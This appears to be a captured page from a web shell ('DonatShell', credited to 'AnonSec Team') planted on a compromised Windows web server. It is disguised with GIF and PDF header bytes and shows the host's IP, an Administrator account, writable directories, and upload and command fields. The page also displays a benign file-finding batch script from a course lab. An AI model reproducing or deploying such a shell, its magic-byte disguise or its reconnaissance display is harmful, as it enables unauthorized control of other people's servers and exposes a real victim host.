GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/_Archive/CST1861/CST1861/Lab03/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/_Archive/CST1861/CST1861/Lab03/ff.cmd
@echo off
:: ff.cmd
:: Written by: Jim Martinson
:: Written on: 2010/04/15

:: Test if command line extensions are enabled.
if "%~1"=="~1" goto:ExtensionsAreNotEnabled
:: Display help when the /? parameter is passed.
if NOT "%~1"=="/?" goto SkipHelp
:Help
echo Find a File (ff). %~n0 will display where the file is found, the file size, 
echo the date created, the date last modified, and the date last accessed.
echo.
echo Usage: %~n0 filename[.ext] [dir_path]
echo.
echo  filename = The name of the file you want to find.
echo      .ext = The extension of the filename you want to find (Optional).
echo             If no .ext is given then the file extensions defined by the PATHEXE
echo             variable are searched for.
echo  dir_path = The directory path to search for the file. Subdirectories of 
echo             dir_path will also be searched.
echo             If no dir_path is given then the local directory and the directories
echo             defined by the Path variable are searched.
goto:EOF

:ExtensionsAreNotEnabled
echo Command line extensions are not enabled. They must be enabled for %~n0 to work properly.
echo %~n0 aborted.
echo.
goto:Help

:NoFilename
echo No filename give to find.
echo %~n0 aborted.
echo.
goto:Help

:SkipHelp
if "%~1"=="" goto:NoFilename
::echo on
set _mycmd=where "%~1"
for /f "tokens=*" %%f in ('%_mycmd%') do call:ProcessWhere "%~1" "%%f"
goto:EOF

:ProcessWhere
:: Get the filename that was found.
::echo on
for /f "tokens=1-26 delims=\" %%a in ("%~2") do call:setFilename "%%a" "%%b" "%%c" "%%d" "%%e" "%%f" "%%g" "%%h" "%%i" "%%j" "%%k" "%%l" "%%m" "%%n" "%%o" "%%p" "%%q" "%%r" "%%s" "%%t" "%%u" "%%v" "%%w" "%%x" "%%y" "%%z"
echo.
echo %_filename% was found in %2.
:: Get the file size.
for /f "tokens=4-5" %%a in ('dir "%~2"') do if "%%b"=="%_filename%" call:setSize "%%a"
echo The file size is %_filesize% bytes.
:: Get date created.
for /f "tokens=1-5" %%a in ('dir /tc "%~2"') do if "%%e"=="%_filename%" call:setCreated "%%a" "%%b" "%%c"
echo Date created:  %_created%.
:: Get date last modified.
for /f "tokens=1-5" %%a in ('dir /tw "%~2"') do if "%%e"=="%_filename%" call:setModified "%%a" "%%b" "%%c"
echo Date modified: %_modified%.

:: Get date last accessed.
for /f "tokens=1-5" %%a in ('dir /ta "%~2"') do if "%%e"=="%_filename%" call:setAccessed "%%a" "%%b" "%%c"
echo Date accessed: %_accessed%.

goto:EOF

for /f "tokens=1-5" %%a in ('dir "%~2"') do if "%%e"=="%_filename%" call:setSize "%%a" "%%b" "%%c" "%%d" "%%e"

echo %~1
dir "%~1" /t:c|find "%~1"
dir "%~1" /t:w|find "%~1"
dir "%~1" /t:a|find "%~1"


:setFilename
shift
if "%~0"=="" goto:EOF
set _filename=%~0
::set _filename
goto:setFilename

:setSize
set _filesize=%~1
goto:EOF

:setCreated
set _created=%~1 %~2 %~3
goto:EOF

:setModified
set _modified=%~1 %~2 %~3
goto:EOF

:setAccessed
set _accessed=%~1 %~2 %~3
goto:EOF

Anon7 - 2022
AnonSec Team